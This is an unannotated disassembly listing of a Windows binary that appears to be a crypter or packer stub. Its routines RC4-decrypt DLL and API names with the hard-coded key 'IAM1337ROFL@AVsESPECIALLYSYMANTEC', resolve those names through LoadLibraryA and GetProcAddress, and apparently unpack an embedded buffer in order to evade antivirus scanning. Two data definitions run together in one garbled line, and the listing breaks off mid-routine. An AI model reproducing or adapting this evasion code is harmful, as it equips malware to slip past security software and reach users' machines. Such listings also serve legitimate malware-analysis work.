		cmp	[ebp+var_8], 0


loc_4039A2:				; DATA XREF: .rsrc:loc_438E3Cw
					; .rsrc:004391F9r
		jnz	short loc_403980


loc_4039A4:				; CODE XREF: sub_40392C+44j
					; sub_40392C:loc_40397Ej ...
		retn
; ---------------------------------------------------------------------------
byte_4039A5	db 0E9h			; DATA XREF: sub_40392C+Co
dword_4039A6	dd 0FFFFF62Ah						; sub_438969+30w ...
word_4039AA	dw 0AFEBh		; DATA XREF: sub_438969+8w
					; sub_438969+36w ...
unk_4039AC	db  59h	; Y		; CODE XREF: sub_40392C:loc_4039A4j
					; DATA XREF: sub_40392C:loc_403956o
; ---------------------------------------------------------------------------
		pop	ecx


loc_4039AE:				; DATA XREF: sub_43922F+2r
					; sub_4393E8+4Bw ...
		pop	ebp
		retn
sub_40392C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039B0	proc near		; CODE XREF: sub_403A78+ADp
					; sub_403A78+BEp

var_10		= dword	ptr -10h
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h


loc_4039B6:				; DATA XREF: sub_4377EE+51r
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		xor	edx, edx


loc_4039BE:				; DATA XREF: sub_4393E8-8Er
		push	ebp
		push	offset loc_403A16
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp


loc_4039CA:				; DATA XREF: sub_4393E8-43w
					; sub_4393E8-15r
		push	7
		lea	edx, [ebp+var_B]
		push	edx
		push	1004h
		push	eax
		call	sub_401050	; GetLocaleInfoA
		lea	eax, [ebp+var_10]
		lea	edx, [ebp+var_B]
		mov	ecx, 7
		call	sub_403670
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_4]
		call	sub_402BD0
		mov	ebx, eax
		cmp	[ebp+var_4], 0
		jz	short loc_403A00
		xor	ebx, ebx


loc_403A00:				; CODE XREF: sub_4039B0+4Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403A1D


loc_403A0D:				; CODE XREF: sub_4039B0+6Bj
		lea	eax, [ebp+var_10]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_403A16:				; DATA XREF: sub_4039B0+Fo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403A0D
; ---------------------------------------------------------------------------


loc_403A1D:				; CODE XREF: sub_4039B0+65j
					; DATA XREF: sub_4039B0+58o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4039B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A24	proc near		; DATA XREF: CODE:00405274o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403A6E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4075A4
		jnz	short loc_403A60
		mov	eax, offset dword_407038
		call	sub_402AD0
		mov	eax, offset dword_407204
		call	sub_402AD0
		mov	eax, offset dword_4073D0
		call	sub_402AD0
		call	sub_4019DC


loc_403A60:				; CODE XREF: sub_403A24+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403A75


loc_403A6D:				; CODE XREF: sub_403A24+4Fj
		retn
; ---------------------------------------------------------------------------


loc_403A6E:				; DATA XREF: sub_403A24+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403A6D
; ---------------------------------------------------------------------------


loc_403A75:				; CODE XREF: sub_403A24:loc_403A6Dj
					; DATA XREF: sub_403A24+44o
		pop	ebp
		retn
sub_403A24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403A78	proc near		; DATA XREF: CODE:00405270o
		sub	ds:dword_4075A4, 1
		jnb	locret_403B4A
		mov	ds:byte_406008,	2
		mov	ds:off_407010, offset sub_401008
		mov	ds:off_407014, offset sub_401010
		mov	ds:byte_407036,	2
		mov	ds:off_407000, offset sub_4038B8
		call	sub_402CAC
		test	al, al
		jz	short loc_403ABF
		call	sub_402CDC


loc_403ABF:				; CODE XREF: sub_403A78+40j
		call	sub_402DA0
		mov	ds:word_40703C,	0D7B0h
		mov	ds:word_407208,	0D7B0h
		mov	ds:word_4073D4,	0D7B0h
		call	sub_401048	; GetCommandLineA
		mov	ds:dword_40702C, eax
		call	sub_401098
		mov	ds:dword_407028, eax
		call	sub_401090	; GetVersion
		and	eax, 80000000h
		cmp	eax, 80000000h
		jz	short loc_403B31
		call	sub_401090	; GetVersion
		and	eax, 0FFh
		cmp	ax, 4
		jbe	short loc_403B20
		mov	ds:dword_4075A8, 3
		jmp	short loc_403B40
; ---------------------------------------------------------------------------


loc_403B20:				; CODE XREF: sub_403A78+9Aj
		call	sub_401068	; GetThreadLocale
		call	sub_4039B0
		mov	ds:dword_4075A8, eax
		jmp	short loc_403B40
; ---------------------------------------------------------------------------


loc_403B31:				; CODE XREF: sub_403A78+8Aj
		call	sub_401068	; GetThreadLocale
		call	sub_4039B0
		mov	ds:dword_4075A8, eax


loc_403B40:				; CODE XREF: sub_403A78+A6j
					; sub_403A78+B7j
		call	sub_401088	; GetCurrentThreadId
		mov	ds:dword_407020, eax

locret_403B4A:				; CODE XREF: sub_403A78+7j
		retn
sub_403A78	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403B4C	proc near		; CODE XREF: sub_403C10+Cp
		jmp	ds:dword_408114
sub_403B4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403B54	proc near		; CODE XREF: sub_403B6C+3p
		jmp	ds:dword_408110
sub_403B54	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403B5C	proc near		; CODE XREF: sub_403BC4+25p
					; sub_403BC4+36p
		jmp	ds:dword_40810C
sub_403B5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403B64	proc near		; CODE XREF: sub_403B80+3Dp
		jmp	ds:dword_408108
sub_403B64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403B6C	proc near		; CODE XREF: sub_403B80+21p
		push	eax
		push	40h
		call	sub_403B54	; LocalAlloc
		retn
sub_403B6C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403B78	proc near		; CODE XREF: sub_403B80+1p
		mov	eax, 8
		retn
sub_403B78	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403B80	proc near		; CODE XREF: sub_403BC4:loc_403BDEp
		push	ebx
		call	sub_403B78
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_403BC2
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_403B9F
		mov	eax, 0E2h
		call	sub_403554
; ---------------------------------------------------------------------------


loc_403B9F:				; CODE XREF: sub_403B80+13j
		mov	eax, ebx
		call	sub_403B6C
		test	eax, eax
		jnz	short loc_403BB6
		mov	eax, 0E2h
		call	sub_403554
; ---------------------------------------------------------------------------
		jmp	short loc_403BC2
; ---------------------------------------------------------------------------


loc_403BB6:				; CODE XREF: sub_403B80+28j
		push	eax
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_403B64	; TlsSetValue


loc_403BC2:				; CODE XREF: sub_403B80+Aj
					; sub_403B80+34j
		pop	ebx
		retn
sub_403B80	endp


; =============== S U B	R O U T	I N E =======================================



sub_403BC4	proc near		; CODE XREF: sub_402860+20p
					; sub_4028B8+3p ...
		mov	cl, ds:byte_40764C
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_403BF9
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_403BDE:				; CODE XREF: sub_403BC4+3Dj
		call	sub_403B80
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_403B5C	; TlsGetValue
		test	eax, eax
		jz	short loc_403BF3
		retn
; ---------------------------------------------------------------------------


loc_403BF3:				; CODE XREF: sub_403BC4+2Cj
		mov	eax, ds:dword_407658
		retn
; ---------------------------------------------------------------------------


loc_403BF9:				; CODE XREF: sub_403BC4+Dj
		push	eax
		call	sub_403B5C	; TlsGetValue
		test	eax, eax
		jz	short loc_403BDE
		retn
sub_403BC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C04	proc near		; CODE XREF: sub_403C10+2Ep
		mov	eax, offset dword_406088
		call	sub_40391C
		retn
sub_403C04	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403C10	proc near		; CODE XREF: CODE:004052C0p
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0
		call	sub_403B4C	; GetModuleHandleA
		mov	ds:dword_407650, eax
		mov	eax, ds:dword_407650
		mov	ds:dword_40608C, eax
		xor	eax, eax
		mov	ds:dword_406090, eax
		xor	eax, eax
		mov	ds:dword_406094, eax
		call	sub_403C04
		mov	edx, offset dword_406088
		mov	eax, ebx
		call	sub_403310
		pop	ebx
		retn
sub_403C10	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C54	proc near		; DATA XREF: CODE:0040526Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403C79
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407654
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403C80


loc_403C78:				; CODE XREF: sub_403C54+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403C79:				; DATA XREF: sub_403C54+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403C78
; ---------------------------------------------------------------------------


loc_403C80:				; CODE XREF: sub_403C54:loc_403C78j
					; DATA XREF: sub_403C54+1Fo
		pop	ebp
		retn
sub_403C54	endp

; ---------------------------------------------------------------------------
		align 4


loc_403C84:				; DATA XREF: CODE:off_405268o
		sub	ds:dword_407654, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C8C	proc near		; DATA XREF: CODE:0040527Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403CB1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40765C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403CB8


loc_403CB0:				; CODE XREF: sub_403C8C+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403CB1:				; DATA XREF: sub_403C8C+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403CB0
; ---------------------------------------------------------------------------


loc_403CB8:				; CODE XREF: sub_403C8C:loc_403CB0j
					; DATA XREF: sub_403C8C+1Fo
		pop	ebp
		retn
sub_403C8C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403CBC	proc near		; DATA XREF: CODE:00405278o
		sub	ds:dword_40765C, 1
		retn
sub_403CBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403CC4	proc near		; CODE XREF: sub_403F24+E7p
		jmp	ds:dword_408124
sub_403CC4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403CCC	proc near		; CODE XREF: sub_403F24+AEp
					; sub_4041C0+85p
		jmp	ds:dword_408120
sub_403CCC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403CD4	proc near		; CODE XREF: sub_403F24+83p
					; sub_4041C0+3Fp ...
		jmp	ds:dword_40811C
sub_403CD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403CDC	proc near		; DATA XREF: CODE:00405284o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403D01
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407660
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403D08


loc_403D00:				; CODE XREF: sub_403CDC+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403D01:				; DATA XREF: sub_403CDC+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403D00
; ---------------------------------------------------------------------------


loc_403D08:				; CODE XREF: sub_403CDC:loc_403D00j
					; DATA XREF: sub_403CDC+1Fo
		pop	ebp
		retn
sub_403CDC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403D0C	proc near		; DATA XREF: CODE:00405280o
		sub	ds:dword_407660, 1
		retn
sub_403D0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D14	proc near		; CODE XREF: sub_403E78+18p

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_1C], edx
		mov	edi, eax
		mov	eax, [esp+1Ch+var_1C]
		call	sub_403688
		mov	[esp+1Ch+var_14], eax
		nop
		nop
		nop
		mov	byte ptr [edi+100h], 0
		mov	byte ptr [edi+101h], 0
		xor	edx, edx
		mov	eax, edi


loc_403D41:				; CODE XREF: sub_403D14+33j
		mov	[eax], dl
		inc	edx
		inc	eax
		test	dl, dl
		jnz	short loc_403D41
		xor	eax, eax
		xor	esi, esi
		mov	dl, 0
		mov	ecx, edi


loc_403D51:				; CODE XREF: sub_403D14+88j
		nop
		nop
		nop
		cmp	esi, [esp+1Ch+var_14]
		jge	short loc_403D66
		mov	ebx, [esp+1Ch+var_1C]
		mov	bl, [ebx+esi]
		mov	[esp+1Ch+var_17], bl
		jmp	short loc_403D6B
; ---------------------------------------------------------------------------


loc_403D66:				; CODE XREF: sub_403D14+44j
		mov	[esp+1Ch+var_17], 0


loc_403D6B:				; CODE XREF: sub_403D14+50j
		inc	esi
		cmp	esi, [esp+1Ch+var_14]
		jl	short loc_403D74
		xor	esi, esi


loc_403D74:				; CODE XREF: sub_403D14+5Cj
		mov	bl, [ecx]
		add	bl, [esp+1Ch+var_17]
		add	al, bl
		mov	bl, [ecx]
		mov	[esp+1Ch+var_18], bl
		xor	ebx, ebx
		mov	bl, al
		mov	bl, [edi+ebx]
		mov	[ecx], bl
		xor	ebx, ebx
		mov	bl, al
		lea	ebp, [edi+ebx]
		mov	bl, [esp+1Ch+var_18]
		mov	[ebp+0], bl
		inc	ecx
		dec	dl
		jnz	short loc_403D51
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403D14	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403DA8	proc near		; CODE XREF: sub_403E78+53p
		nop
		nop
		nop
		xor	ecx, ecx
		mov	edx, 102h
		call	sub_402B44
		retn
sub_403DA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DB8	proc near		; CODE XREF: sub_403E38+34p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		nop
		nop
		nop
		mov	ebx, [ebp+arg_0]
		dec	ebx
		test	ebx, ebx
		jl	short loc_403E2E
		inc	ebx
		mov	[ebp+var_4], ebx
		mov	esi, edx


loc_403DD0:				; CODE XREF: sub_403DB8+74j
		nop
		nop
		nop
		inc	byte ptr [eax+100h]
		xor	edx, edx
		mov	dl, [eax+100h]
		mov	dl, [eax+edx]
		add	[eax+101h], dl
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	bl, [eax+ebx]
		push	ebx
		xor	ebx, ebx
		mov	bl, [eax+100h]
		lea	edi, [eax+ebx]
		pop	ebx
		mov	[edi], bl
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	[eax+ebx], dl
		xor	ebx, ebx
		mov	bl, [eax+100h]
		add	dl, [eax+ebx]
		and	edx, 0FFh
		mov	dl, [eax+edx]
		xor	dl, [esi]
		mov	[ecx], dl
		inc	ecx
		inc	esi
		dec	[ebp+var_4]
		jnz	short loc_403DD0


loc_403E2E:				; CODE XREF: sub_403DB8+10j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_403DB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403E38	proc near		; CODE XREF: sub_403E78+38p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	esi, edx
		mov	ebp, eax
		nop
		nop
		nop
		mov	eax, esi
		call	sub_403688
		mov	ebx, eax
		mov	eax, edi
		mov	edx, ebx
		call	sub_403854
		push	ebx
		mov	eax, edi
		call	sub_40384C
		push	eax
		mov	eax, esi
		call	sub_4037FC
		mov	edx, eax
		mov	eax, ebp
		pop	ecx
		call	sub_403DB8
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403E38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E78	proc near		; CODE XREF: sub_403F24+75p
					; sub_403F24+9Ap ...

var_102		= byte ptr -102h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, eax
		nop
		nop
		nop
		lea	eax, [ebp+var_102]
		call	sub_403D14
		xor	eax, eax
		push	ebp
		push	offset loc_403ED1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		nop
		nop
		nop
		mov	ecx, esi
		lea	eax, [ebp+var_102]
		mov	edx, ebx
		call	sub_403E38
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403ED8


loc_403EC2:				; CODE XREF: sub_403E78+5Ej
		nop
		nop
		nop
		lea	eax, [ebp+var_102]
		call	sub_403DA8
		retn
; ---------------------------------------------------------------------------


loc_403ED1:				; DATA XREF: sub_403E78+20o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403EC2
; ---------------------------------------------------------------------------


loc_403ED8:				; DATA XREF: sub_403E78+45o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403E78	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EE0	proc near		; DATA XREF: CODE:0040528Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403F05
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407664
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403F0C


loc_403F04:				; CODE XREF: sub_403EE0+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403F05:				; DATA XREF: sub_403EE0+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403F04
; ---------------------------------------------------------------------------


loc_403F0C:				; CODE XREF: sub_403EE0:loc_403F04j
					; DATA XREF: sub_403EE0+1Fo
		pop	ebp
		retn
sub_403EE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403F10	proc near		; DATA XREF: CODE:00405288o
		sub	ds:dword_407664, 1
		retn
sub_403F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F18	proc near		; CODE XREF: sub_403F24+2Dp
					; sub_4040B4+31p ...
		test	eax, eax
		jz	short locret_403F21
		sub	eax, 4
		mov	eax, [eax]

locret_403F21:				; CODE XREF: sub_403F18+2j
		retn
sub_403F18	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F24	proc near		; CODE XREF: CODE:004053C2p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_4037EC
		xor	eax, eax
		push	ebp
		push	offset loc_404046
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_4]
		call	sub_403F18
		mov	ebx, eax
		cmp	ebx, 4
		jbe	loc_40401C
		lea	eax, [ebp+arg_4]
		call	sub_40384C
		mov	edi, eax
		mov	edx, [edi]
		mov	eax, esi
		call	sub_403854
		cmp	dword ptr [edi], 80000h
		jbe	short loc_403F85
		mov	[ebp+var_8], 2
		jmp	short loc_403F8C
; ---------------------------------------------------------------------------


loc_403F85:				; CODE XREF: sub_403F24+56j
		mov	[ebp+var_8], 102h


loc_403F8C:				; CODE XREF: sub_403F24+5Fj
		lea	ecx, [ebp+var_C]
		mov	edx, offset aIam1337rofl@av ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40408C
		call	sub_403E78
		mov	eax, [ebp+var_C]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	ds:dword_407670, eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset aIam1337rofl@av ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_4040A0
		call	sub_403E78
		mov	eax, [ebp+var_10]
		call	sub_4037FC
		push	eax
		mov	eax, ds:dword_407670
		push	eax
		call	sub_403CCC	; GetProcAddress
		mov	ds:dword_40766C, eax
		lea	eax, [ebp+var_4]
		push	eax
		sub	ebx, 4
		push	ebx
		lea	eax, [ebp+arg_4]
		call	sub_40384C
		add	eax, 4
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, esi
		call	sub_40384C
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_40766C
		mov	eax, ds:dword_407670
		push	eax
		call	sub_403CC4	; FreeLibrary
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_403854
		jmp	short loc_404023
; ---------------------------------------------------------------------------


loc_40401C:				; CODE XREF: sub_403F24+37j
		mov	eax, esi
		call	sub_403560


loc_404023:				; CODE XREF: sub_403F24+F6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40404D


loc_404030:				; CODE XREF: sub_403F24+127j
		lea	eax, [ebp+var_10]
		mov	edx, 2
		call	sub_403584
		lea	eax, [ebp+arg_4]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_404046:				; DATA XREF: sub_403F24+1Fo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404030
; ---------------------------------------------------------------------------


loc_40404D:				; CODE XREF: sub_403F24+121j
					; DATA XREF: sub_403F24+107o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_403F24	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 21h
aIam1337rofl@av	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_403F24+6Bo
					; sub_403F24+90o
		align 4
		dd 0FFFFFFFFh, 9
dword_40408C	dd 0F3422875h, 0A8D8A8E5h, 50h,	0FFFFFFFFh, 13hdword_4040A0	dd 0DB4A2849h, 0A9D3E5ECh, 0DF10004Ch, 0D69BFED5h, 0E27227h
					; DATA XREF: sub_403F24+95o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040B4	proc near		; CODE XREF: CODE:004053CFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_4037EC
		xor	eax, eax
		push	ebp
		push	offset loc_404177
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_403560
		mov	eax, [ebp+arg_4]
		call	sub_403F18
		mov	[ebp+var_8], eax
		mov	ebx, 1
		cmp	ebx, [ebp+var_8]
		ja	short loc_404159


loc_4040F7:				; CODE XREF: sub_4040B4+A3j
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx-1]
		test	al, al
		jnz	short loc_40413A
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx]
		mov	[ebp+var_1], al
		mov	eax, [esi]
		call	sub_403F18
		mov	edi, eax
		xor	edx, edx
		mov	dl, [ebp+var_1]
		add	edx, edi
		mov	eax, esi
		call	sub_403854
		mov	eax, esi
		call	sub_40384C
		add	eax, edi
		xor	edx, edx
		mov	dl, [ebp+var_1]
		xor	ecx, ecx
		call	sub_402B44
		inc	ebx
		jmp	short loc_404153
; ---------------------------------------------------------------------------


loc_40413A:				; CODE XREF: sub_4040B4+4Cj
		lea	eax, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		mov	dl, [edx+ebx-1]
		call	sub_403654
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_403690


loc_404153:				; CODE XREF: sub_4040B4+84j
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jbe	short loc_4040F7


loc_404159:				; CODE XREF: sub_4040B4+41j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40417E


loc_404166:				; CODE XREF: sub_4040B4+C8j
		lea	eax, [ebp+var_C]
		call	sub_403560
		lea	eax, [ebp+arg_4]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_404177:				; DATA XREF: sub_4040B4+1Co
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404166
; ---------------------------------------------------------------------------


loc_40417E:				; CODE XREF: sub_4040B4+C2j
					; DATA XREF: sub_4040B4+ADo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4040B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404188	proc near		; DATA XREF: CODE:00405294o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4041AD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_407668
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4041B4


loc_4041AC:				; CODE XREF: sub_404188+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4041AD:				; DATA XREF: sub_404188+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4041AC
; ---------------------------------------------------------------------------


loc_4041B4:				; CODE XREF: sub_404188:loc_4041ACj
					; DATA XREF: sub_404188+1Fo
		pop	ebp
		retn
sub_404188	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4041B8	proc near		; DATA XREF: CODE:00405290o
		sub	ds:dword_407668, 1
		retn
sub_4041B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041C0	proc near		; CODE XREF: sub_4046C0+33p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_4041C8:				; CODE XREF: sub_4041C0+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4041C8
		push	ebx
		push	esi
		mov	esi, offset dword_407690
		xor	eax, eax
		push	ebp
		push	offset loc_40441F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404460
		call	sub_403E78
		mov	eax, [ebp+var_8]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	ebx, eax
		lea	ecx, [ebp+var_C]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404478
		call	sub_403E78
		mov	eax, [ebp+var_C]
		call	sub_4037FC
		push	eax
		call	sub_403CD4	; LoadLibraryA
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset aIam1337rofl@_0 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40448C
		call	sub_403E78
